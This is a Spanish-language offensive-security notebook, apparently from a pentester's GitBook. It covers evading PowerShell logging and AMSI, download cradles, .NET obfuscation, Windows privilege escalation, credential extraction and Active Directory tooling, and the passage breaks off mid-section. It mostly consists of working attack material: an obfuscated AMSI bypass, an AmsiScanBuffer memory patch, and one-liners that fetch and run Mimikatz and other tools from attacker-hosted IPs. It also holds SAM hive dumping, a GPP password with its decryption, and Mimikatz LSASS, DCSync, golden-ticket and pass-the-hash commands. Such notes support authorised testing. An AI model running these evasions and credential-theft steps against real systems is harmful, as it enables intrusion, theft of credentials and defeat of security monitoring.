Graba toda la salida de las sesiones PowerShell (comandos y resultados). Cada comando y su salida quedan registrados. Si ejecutas Mimikatz en PS, va todo al log.

Se configura vía **GPO**:

* `Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Transcription`

Guarda logs en:

```
C:\Users\%USERNAME%\Documents\PowerShell_transcripts\
```

### **Script Block Logging**

Registra bloques de código completos antes de ejecutarse (no solo comandos escritos a mano, sino scripts cargados). Guarda hasta el contenido de scripts ofuscados → PowerShell decompila la ofuscación simple. Tu [*cradle* ](#user-content-fn-1)[^1]y *payload* quedan registrados aunque nunca toquen disco.

**Ejemplo:**\
Si cargas un script con `iex (iwr ...)`, el bloque completo puede aparecer en el log.

Log en **Event Viewer → Windows PowerShell/Operational (Event ID 4104)**.

### **AMSI (Antimalware Scan Interface)**

{% hint style="info" %}
**¿Qué es AMSI?**

**AMSI** es una interfaz de seguridad en Windows diseñada para detectar scripts maliciosos *en tiempo de ejecución*, escaneándolos antes de ser ejecutados.

<https://learn.microsoft.com/es-es/windows/win32/amsi/antimalware-scan-interface-portal>
{% endhint %}

Interfaz entre PowerShell y el AV/EDR.&#x20;

Antes de ejecutar un script, PowerShell manda el contenido a **AMSI.dll**, por lo que, el AV lo analiza en tiempo real.

* **Ejemplo:**\
  Si ejecutas `Invoke-Mimikatz.ps1`, AMSI lo detecta por firmas.

**Logs:** Windows Defender lo reporta en `Operational log` o en el SIEM.

AMSI bloquea muchos payloads conocidos. Es necesario evadirlo: [/pages/nYYoo7pyFz6jY0f142tB#amsi-.net-bypass](https://www.xtormin.com/pentesting-en-infraestructuras/red-interna/pages/nYYoo7pyFz6jY0f142tB#amsi-.net-bypass "mention")

### **Constrained Language Mode (CLM)**

Modo restringido de PowerShell, limita el lenguaje a “seguro”.

Integrado con **AppLocker / Windows Defender Application Control (WDAC)**.

**Restricciones típicas:**

* No puedes invocar APIs .NET avanzadas.
* Bloquea Add-Type, COM objects, acceso directo a memoria.
* Scripts firmados por Microsoft siguen funcionando.

**Cómo se activa:** Automáticamente en sistemas con **Device Guard**, o vía políticas.

Técnicas clásicas como `New-Object Net.WebClient`, `Add-Type`, `DllImport` se encuentran bloqueadas.

### Resumen

En cuanto a qué hace cada defensa:

* Transcription (guarda todo lo que haces en texto)
* Script Block Logging (logea el código cargado → EventID 4104)
* AMSI (envía a AV/EDR antes de ejecutar)
* CLM (limita qué puedes usar en PowerShell)

En PSv2 y anterior → no existe AMSI, CLM ni Script Block Logging → entorno mucho más “ciego”.

En PSv5+ → Blue Team tiene **visibilidad total** si no usas evasión.

Técnicas de bypass:

* **Invisi-Shell** (hookea Automation.dll para saltar logging).
* **AMSI bypasses** (modificar AmsiUtils en memoria).
* **Obfuscación** (Invoke-Obfuscation).
* **Migrar a otro proceso** (cargar DLLs directamente con C#).

***

## <mark style="color:red;">Política de ejecución (Execution Policy)</mark>

### Habilitar ejecución de scripts

El siguiente comando permite modificar la política de PowerShell de forma que se permita la ejecución de todos los scripts sin firmar y sin aplicar restricciones ni advertencias (-exec bypass). Además, no se carga el perfil del usuario, lo que permite evadir posibles restricciones (-nop).

```powershell
powershell -nop -exec bypass
```

Otras vías de bypass:

```powershell
powershell -ExecutionPolicy bypass
powershell -c <cmd>
powershell -encodedcommand
$env:PSExecutionPolicyPreference="bypass"
```

## <mark style="color:red;">**Evasión de seguridad**</mark>

### Invisi-Shell

Invisi-Shell es una herramienta diseñada para **bypassear las defensas de PowerShell**.\
Lo que hace es enganchar (*hookear*) las librerías de .NET que usa PowerShell:

* `System.Management.Automation.dll`
* `System.Core.dll`

Utiliza la API de **CLR Profiler** (un DLL especial que el *Common Language Runtime* carga en tiempo de ejecución) para interceptar llamadas y modificar el comportamiento.

**Descarga de la herramienta:**

```powershell
git clone "https://github.com/OmerYa/Invisi-Shell.git"
```

**Ejecución:**

{% hint style="danger" %}
Cuando se termine, hay que salir con `exit` para cerrar la sesión y limpiar los cambios.
{% endhint %}

* Sin privilegios de administrador:

```
C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
```

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FHzPgO1ktTFzP7V4EZxsS%2Fimage.png?alt=media&amp;token=469c53b2-d4f2-4e47-a294-af33a6b06045" alt=""><figcaption></figcaption></figure>

* Con privilegios de administrador:

```powershell
C:\AD\Tools\InviShell\RunWithPathAsAdmin.bat
```

### AMSI PowerShell Bypass

[**https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)

{% code overflow="wrap" %}

```powershell
S`eT-It`em ( 'V'+'aR' +  'IA' + (("{1}{0}"-f'1','blE:')+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f '.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f 'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f 'ile','a'))  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
```

{% endcode %}

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2Fn6mz7C9sVpfIIDXUvuhu%2Fimage.png?alt=media&amp;token=f90c06e0-1503-45e9-9bed-c5af2bdfd245" alt=""><figcaption></figcaption></figure>

### AMSI .NET Bypass

[**https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/**](https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/)

En la siguiente tabla se enumeran algunos *scripts* que permiten la evasión. También se indica la última fecha en la que he podido ejecutar el *script* sin restricción:

**Windows 10**

<table><thead><tr><th width="140">Fecha</th><th>Técnica / Payload</th></tr></thead><tbody><tr><td><strong>15/10/2024</strong></td><td><a href="https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#using-reflection">https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#using-reflection</a></td></tr><tr><td><strong>15/10/2024</strong></td><td><a href="https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#64-bit">https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#64-bit</a></td></tr><tr><td><strong>15/10/2024</strong></td><td><a href="https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#patching-amsi-amsiscanbuffer-by-rasta-mouse">https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#patching-amsi-amsiscanbuffer-by-rasta-mouse</a></td></tr></tbody></table>

Por ejemplo:

<https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#patching-amsi-amsiscanbuffer-by-rasta-mouse>

```powershell
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
```

### Loaders

Artefacto de carga (*loader*) cuya función principal es facilitar la ejecución de shellcode de forma sigilosa. Implementa técnicas de evasión para minimizar la detección y suele ser el único componente persistente en disco durante la operación.

#### SilentLoader

<https://github.com/xtormin/SilentLoader>

{% code overflow="wrap" %}

```powershell
git clone "https://github.com/xtormin/SilentLoader.git"
cd SilentLoader
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:sloader.exe /target:exe /reference:System.dll /reference:System.Core.dll SilentLoader.cs
```

{% endcode %}

```powershell
.\sloader.exe -f [programa.exe] [-p "argumentos opcionales"]
.\sloader.exe -f Rubeus.exe -p "dump"
```

### Bypass de firmas conocidas en el código

Algunas formas de evadir las protecciones son:

* Carga en memoria (*fileless*).
* Identificación de las partes del *script* que son detectadas.
* Ofuscación completa del script.

#### Carga en memoria

```powershell
iex (iwr 'http://192.168.10.100/PowerView.ps1').Content
```

#### Identificación de partes detectadas

* AMSITrigger: Te dice qué línea/parte del script dispara AMSI.

```powershell
AmsiTrigger_x64.exe -i C:\AD\Tools\Invoke-PowerShellTcp_Detected.ps1
```

* **DefenderCheck:** Escanea un script y te indica qué strings son detectados por Windows Defender.

```powershell
DefenderCheck.exe PowerUp.ps1
```

Esto te devuelve la **posición en bytes** donde hay una detección. **Para convertir el byte offset en número de línea: ByteToLineNumber.ps1.**

```powershell
. C:\AD\Tools\ByteToLineNumber.ps1
Get-LineNumber -Path C:\AD\Tools\PowerUp.ps1 -ByteOffset 0x1DCD2
```

#### Ofuscación completa

* [**Invoke-Obfuscation**](https://github.com/danielbohannon/Invoke-Obfuscation)**:**
  * Renombrar funciones y variables.
  * Codificar partes sensibles (ejemplo: `"Invoke-Mimikatz"` se convierte en algo ilegible).
  * Generar payloads en múltiples formatos (base64, rot13, string split, etc.).

## Descarga de ficheros

### **One-liners de descarga**

{% code overflow="wrap" %}

```powershell
iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1')

$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iex (iwr 'https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1' -UseBasicParsing).Content

Add-Type -AssemblyName System.Net.Http;$u='https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1';$http=[System.Net.Http.HttpClient]::new();$code=$http.GetStringAsync($u).Result;iex $code

iex (iwr 'https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1')

$h=New-Object -ComObject
Msxml2.XMLHTTP;$h.open('GET','https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1',$false);$h.send();iex
$h.responseText

$wr = [System.NET.WebRequest]::Create("https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

iwr "https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1" -outputfile winpeas64.exe

.\certutil.exe -urlcache -split -f "https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1"
```

{% endcode %}

### Consideraciones sobre versiones de PowerShell

#### **PowerShell v1 (2006, Windows XP/2003)**

{% hint style="warning" %}

* No existe `Invoke-WebRequest (iwr)`.
* Solo soporta **SSL3/TLS1.0** → no puedes descargar de GitHub/modern HTTPS (requiere TLS1.2).
* Solución: usar tu propio servidor HTTP (sin TLS o con TLS1.0).
* Alternativas:
  * `Msxml2.XMLHTTP`
  * `InternetExplorer.Application` (COM)
    {% endhint %}

Ejemplo:

{% code overflow="wrap" %}

```powershell
iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')
```

{% endcode %}

#### **PowerShell v2 (2009, Windows 7 / 2008R2)**

{% hint style="warning" %}

* Sigue sin existir `Invoke-WebRequest`.
* Mismo problema con TLS moderno (solo TLS1.0).
* Todavía bastante usado en entornos legacy → ideal para labs.
  {% endhint %}

Ejemplo:

{% code overflow="wrap" %}

```powershell
iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')
```

{% endcode %}

#### **PowerShell v3 (2012, Windows 8 / 2012 Server)**

{% hint style="success" %}
Ya existe `Invoke-WebRequest`
{% endhint %}

{% hint style="warning" %}

* `iwr` es más “verboso” y puede lanzar errores si no usas `.Content`:

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">iex (iwr 'http://servidor/payload.ps1').Content
  </code></pre>
* TLS1.2 todavía no activado por defecto, a veces es necesario forzarlo:

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
  </code></pre>

{% endhint %}

Ejemplos:

```powershell
iex (iwr 'http://servidor/payload.ps1')
```

#### **PowerShell v4 (2013, Windows 8.1 / 2012R2)**

{% hint style="warning" %}
TLS1.2 sigue sin estar por defecto, mismo workaround que en v3.
{% endhint %}

#### **PowerShell v5 / v5.1 (2016+, Windows 10 / Server 2016/2019)**

{% hint style="warning" %}

* Aquí entran en juego defensas modernas:
  * **Script Block Logging**
  * **AMSI (Antimalware Scan Interface)**
  * **Constrained Language Mode**
* Muchos cradles empiezan a ser detectados por EDR.
* Se usan técnicas de **obfuscación** (Invoke-Obfuscation) o bypasses AMSI.
  {% endhint %}

Ejemplos:

```powershell
iex (iwr 'http://servidor/payload.ps1' -UseBasicParsing).Content
```

```powershell
iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')
```

#### **PowerShell Core (6, 7 → multiplataforma, 2018+)**

{% hint style="warning" %}

* No existen COM objects (`XMLHTTP`, `InternetExplorer.Application`) → ya no funcionan esos cradles.
* AMSI y logging siguen activos.
* Al ser cross-platform, no todo el arsenal clásico (ej. PowerView\.ps1) funciona directamente.
  {% endhint %}

Ejemplos:

{% code overflow="wrap" %}

```powershell
Add-Type -AssemblyName System.Net.Http
$http = [System.Net.Http.HttpClient]::new()
iex $http.GetStringAsync("https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1").Result
```

{% endcode %}

###

[^1]: Comando corto de descarga de scripts o payloads desde internet o intranet que se ejecuta directamente en memoria, sin guardar en disco.


# .NET

## Ofuscación de proyectos .NET

### Codecepticon

* Es una herramienta de **ofuscación de código fuente en .NET**.
* Su objetivo es evitar que **AV/EDR detecten herramientas ofensivas** (Rubeus, Mimikatz reescrito en C#, etc.) al cambiar el código para que no coincida con firmas conocidas.
* Proyecto: <https://github.com/Accenture/Codecepticon>

#### Cómo se usa

1. **Compilar en Visual Studio:**
   * Descargas el proyecto y lo compilas en VS.
   * Vas al directorio de salida y abres `CommandLineGenerator.html`.
   * Desde ahí puedes generar fácilmente el comando de obfuscación.
2. **Ejemplo de comando de ofuscación**:

   <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">C:\AD\Tools\Codecepticon.exe --action obfuscate --module csharp --verbose --path "C:\AD\Tools\Rubeus-master\Rubeus.sln" --map-file "C:\AD\Tools\Rubeus-master\Mapping.html" --profile rubeus --rename ncefpavs --rename-method markov --markov-min-length 3 --markov-max-length 10 --markov-min-words 3 --markov-max-words 5 --string-rewrite --string-rewrite-method xor
   </code></pre>

   > * `--rename-method markov` → renombra métodos con cadenas aleatorias tipo “Markov”.
   > * `--string-rewrite` → reescribe strings para que no coincidan con firmas.
   > * `--profile rubeus` → aplica un perfil predefinido para esa herramienta.
3. **Resultado**:

* El código de Rubeus (o la herramienta que elijas) queda con:
  * Variables, funciones, parámetros y enums renombrados.
  * Strings reescritas.
* En Visual Studio verías todo con nombres aleatorios en lugar de los originales.

### ConfuserEx

PENDIENTE :)

## NetLoader

NetLoader es un **loader ofuscado en .NET para binarios**, muy útil para saltar AMSI/ETW, pero en su versión básica es fácil de detectar. Si lo combinas con **D/Invoke + CsWhispers**, se convierte en un loader **fileless y EDR-evasive**.

<https://gist.github.com/Arno0x/2b223114a726be3c5e7a9cacd25053a2>

{% code overflow="wrap" %}

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:NetLoader.exe NetLoader.cs
```

{% endcode %}

```
C:\AD\Tools\Loader.exe -Path http://172.16.100.X/SafetyKatz.exe
C:\AD\Tools\Loader.exe -Path C:\AD\Tools\BloodHoundmaster\BloodHound-master\Collectors\SharpHound.exe -args --
collectionmethods All
```


# Windows

## <mark style="color:red;">Enumeración automatizada</mark>

### WinPEAS

<https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS>

Última versión y binarios: <https://github.com/peass-ng/PEASS-ng/releases>

{% code overflow="wrap" %}

```powershell
iwr https://github.com/peass-ng/PEASS-ng/releases/download/20241007-05f777b2/winPEASx64.exe -outputfile winpeas64.exe
```

{% endcode %}

Otras formas de transferir ficheros: [Misc](/pentesting-en-infraestructuras/misc#windows)

Ejecución básica:

```bash
.\winPEASx64.exe
```

Para entornos más restringidos, se puede usar un loader que permita cargar y ejecutar en memoria el programa. Por ejemplo:

[#silentloader](#silentloader "mention")

```powershell
.\sloader.exe -f C:\Pentest\Tools\winPEASx64.exe -p notcolor log
```

### PowerUp

<https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1>

```powershell
. C:\AD\Tools\PowerUp.ps1
```

{% code overflow="wrap" %}

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
```

{% endcode %}

Se enumeran las posibles vías de elevación de privilegios y se exporta la información a un fichero html:

```powershell
Invoke-AllChecks -HTMLReport
```

### PrivescCheck

<https://github.com/itm4n/PrivescCheck>

```
git clone "https://github.com/itm4n/PrivescCheck.git"
```

{% code overflow="wrap" %}

```powershell
Invoke-PrivescCheck -Extended -Audit -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML,CSV,XML
```

{% endcode %}

## <mark style="color:red;">Vulnerabilidades</mark>

### Actualizaciones vía WSUS

WSUS (Windows Server Update Services) es un servicio que permite gestionar la distribución de actualizaciones en redes corporativas con sistemas Windows.

Es un servidor centralizado que descarga y distribuye parches de seguridad y actualizaciones en los clientes de la red local.

Para comprobar si el servidor WSUS es vulnerable a <mark style="color:red;">**CVE-2020-1013**</mark>, se tienen que dar dos condiciones:

1. El servidor WSUS tiene que <mark style="color:red;">**utilizar el protocolo HTTP**</mark> en vez de HTTPS. Para comprobar cuál servidor WSUS se está utilizando:

```powershell
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
```

```
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
      WUServer    REG_SZ    http://xtormin.local:8530
```

2. Que el uso del servidor WSUS esté activado. Para ello, el  resultado del siguiente <mark style="color:red;">**registro debe ser igual a 0**</mark>:

```
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
```

**Writeup de la investigación y presentación en la BlackHat:**

* Presentación: <https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update.pdf>
* Investigación: <https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update-wp.pdf>

<mark style="color:blue;">**Otras referencias:**</mark>

* <https://gosecure.ai/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/>
* <https://learn.microsoft.com/es-es/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus>
* <https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#wsus:~:text=ft%20Name%2CRoot-,WSUS,-You%20can%20compromise>

## <mark style="color:red;">Escalada de privilegios</mark>

### Equipo conectado con Azure

{% code overflow="wrap" %}

```bash
wget https://raw.githubusercontent.com/Hackplayers/PsCabesha-tools/master/Privesc/Azure-ADConnect.ps1
```

{% endcode %}

Otras formas de transferir ficheros: [Misc](/pentesting-en-infraestructuras/misc#windows)

```powershell
Azure-ADConnect -server 127.0.0.1 -db ADSync
```

### Servicio modificable

**Identificación**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerUp</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Get-ModifiableService
</code></pre></td></tr></tbody></table>

**Ejemplo de explotación**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerUp</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Invoke-ServiceAbuse -Name 'WebServer' -UserName 'xtormincorp\xtormin' -Verbose
</code></pre></td></tr></tbody></table>

### Máquinas del dominio con acceso privilegiado

Buscar máquinas donde el usuario tiene permisos de administrador local:

```powershell
. C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess
```

* winrs:

```powershell
winrs -r:<Nombre de la máquina> cmd
set username
set computername
```

* PSSession:

{% code overflow="wrap" %}

```powershell
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local
$env:username
```

{% endcode %}

## <mark style="color:red;">Extracción de credenciales</mark>

### Obtención de SAM, SYSTEM, SECURITY

```
reg save HKLM\SAM C:\WINDOWS\Temp\sam.dmp
reg save HKLM\SYSTEM C:\WINDOWS\Temp\system.dmp
reg save HKLM\security C:\WINDOWS\Temp\security.dmp
```

```
samdump2 system sam
```

{% code overflow="wrap" %}

```bash
/home/kali/tools/impacket/examples/secretsdump.py -sam sam.dmp -system system.dmp -security security.dmp LOCAL
```

{% endcode %}

### GPP - Group Password Policy

{% code overflow="wrap" %}

```bash
cd %windir%\system32\grouppolicy
```

{% endcode %}

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="jdBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```

{% endcode %}

{% code overflow="wrap" %}

```bash
gpp-decrypt jdBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
```

{% endcode %}

### Mimikatz

{% code overflow="wrap" %}

```powershell
certutil -urlcache -split -f http://192.168.119.142/mimikatz.exe C:\Windows\Temp\mimikatz.exe && C:\Windows\Temp\mimikatz.exe

powershell IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.5/Invoke-Mimikatz.ps1') ; Invoke-Mimikatz -DumpCreds
```

{% endcode %}

<pre class="language-powershell"><code class="lang-powershell">privilege::debug
log
log customlogfilename.log
<strong>
</strong><strong>token::elevate
</strong></code></pre>

#### Dump LSASS

```powershell
privilege::debug
token::elevate
sekurlsa::logonpasswords
```

#### Seckurlsa

{% code overflow="wrap" %}

```powershell
sekurlsa::ekeys

sekurlsa::logonpasswords
sekurlsa::logonPasswords full

sekurlsa::tickets
sekurlsa::tickets /export

sekurlsa::tspkg

sekurlsa::pth /user:Administrator /domain:xtormincorp.local /ntlm:4c13687d23a3a88e57fc9ef8bb4cdf2f /run:cmd

sekurlsa::minidump c:\Windows\Temp\lsass.dmp
```

{% endcode %}

#### Kerberos

{% code overflow="wrap" %}

```powershell
kerberos::list /export

kerberos::ptt c:\chocolate.kirbi
kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi
```

{% endcode %}

#### DSync

```powershell
lsadump::dcsync /user:domain\krbtgt /domain:xor.com
lsadump::dcsync /domain:xor.com /all /csv
lsadump::dcsync /domain:xor.com /user:administrator

lsadump::lsa /inject
```

```powershell
token::elevate
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert
```

#### Vault

```powershell
vault::cred
vault::cred /patch
vault::list
```

#### Terminal Services

```powershell
ts::multirdp
ts::logonpasswords
```

#### Pass-the-Hash

{% code overflow="wrap" %}

```powershell
sekurlsa::pth /user:Administrator /domain:xtormincorp.local /ntlm:cc36cf7a8514893efccd332446158b1a

sekurlsa::pth /user:Administrator /domain:xtormincorp.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9

sekurlsa::pth /user:Administrator /domain:xtormincorp.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9

sekurlsa::pth /user:Administrator /domain:xtormincorp.local /ntlm:{NTLM_hash} /run:cmd.exe
```

{% endcode %}

### Credenciales en eventos de logs

Se parsean los logs de Windows Event ID 4688 para extraer credenciales:

```powershell
nxc smb 192.168.1.100 -u $USER -p $PASS -M eventlog_creds
```

## <mark style="color:red;">Referencias</mark>

* WADComs - <https://wadcoms.github.io/#+Privilege%20Escalation>
* Track 3 15 Goodbye Obfuscation Hello Invisi Shell Hiding Your Powershell Script in Plain Sight Omer - <https://www.youtube.com/watch?v=Y3oMEiySxcc>
* <https://www.atomicredteam.io/atomic-red-team>
* <https://etchedshell.medium.com/powerup-experience-42f3d7904e79>


# Active directory

## <mark style="color:red;">Herramientas</mark>

Antes de ejecutar scripts de powershell que normalmente son identificados como maliciosos, se recomienda ejecutar las evasiones detalladas en [Windows](/pentesting-en-infraestructuras/red-interna/windows#evasion-de-restricciones).

**ADModule**

<https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps>

<https://github.com/samratashok/ADModule>

```powershell
git clone "https://github.com/samratashok/ADModule.git"
cd ADModule
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ActiveDirectory\ActiveDirectory.psd1 
```

Lista de cmdlets: <https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps>

**PowerView**

<https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>

{% code overflow="wrap" %}

```powershell
iex ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/dev/Recon/PowerView.ps1'))
```

{% endcode %}

```powershell
iex ((New-Object Net.WebClient).DownloadString('http://192.168.1.100/PowerView.ps1'))
```

Antes habrá que habilitar la ejecución de scripts: [#habilitar-ejecucion-de-scripts](#habilitar-ejecucion-de-scripts "mention")

Luego, se carga PowerView:

```
cd PowerSploit\Recon
. .\PowerView.ps1
```

```powershell
. C:\AD\Tools\PowerSploit\Recon\PowerView.ps1
```

One liner - Descarga y ejecución del script:

{% code overflow="wrap" %}

```powershell
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"
```

{% endcode %}

**SharpView**

{% @github-files/github-code-block url="<https://github.com/tevora-threat/SharpView/>" %}

#### ADExplorer

<https://learn.microsoft.com/es-es/sysinternals/downloads/adexplorer>

#### ADRecon

<https://github.com/adrecon/ADRecon>

#### ADAPE

<https://github.com/hausec/ADAPE-Script>

```powershell
. .\ADAPE.ps1
```

```powershell
ADAPE.ps1 -All
ADAPE.ps1 -Inv
ADAPE.ps1 -Kerberoast
ADAPE.ps1 -Bloodhound
ADAPE.ps1 -GPP
ADAPE.ps1 -PrivEsc
ADAPE.ps1 -PView
```

#### Ping Castle

<https://www.pingcastle.com/download/>

## <mark style="color:red;">Configuración DNS</mark>

Cuando se realiza una auditoría de **Active Directory**, uno de los primeros pasos que muchos olvidan es **configurar correctamente el DNS**. Si no apuntas tu máquina al **Controlador de Dominio (DC)** como servidor DNS, estarás limitando tus capacidades de enumeración, autenticación y explotación.

Cuando hay múltiples DCs, normalmente **todos comparten la misma zona DNS** y actúan como servidores DNS autoritativos del dominio, por lo que, **se puede usar cualquier DC como servidor DNS.**

Por ejemplo, si el DNS no está configurado correctamente, no podrás obtener tickets de servicio (TGS) ni realizar consultas a Kerberos.

{% hint style="success" %}
**Solución**: Cambiar el DNS al del DC y asegurarse de que la máquina puede hacer `nslookup` al dominio.
{% endhint %}

### Cambiar servidor DNS del sistema

Siendo, por ejemplo, `10.200.80.101` la IP del controlador del dominio (DC).

Para cambiar de forma sencilla la configuración:

* Kali:

{% code overflow="wrap" %}

```bash
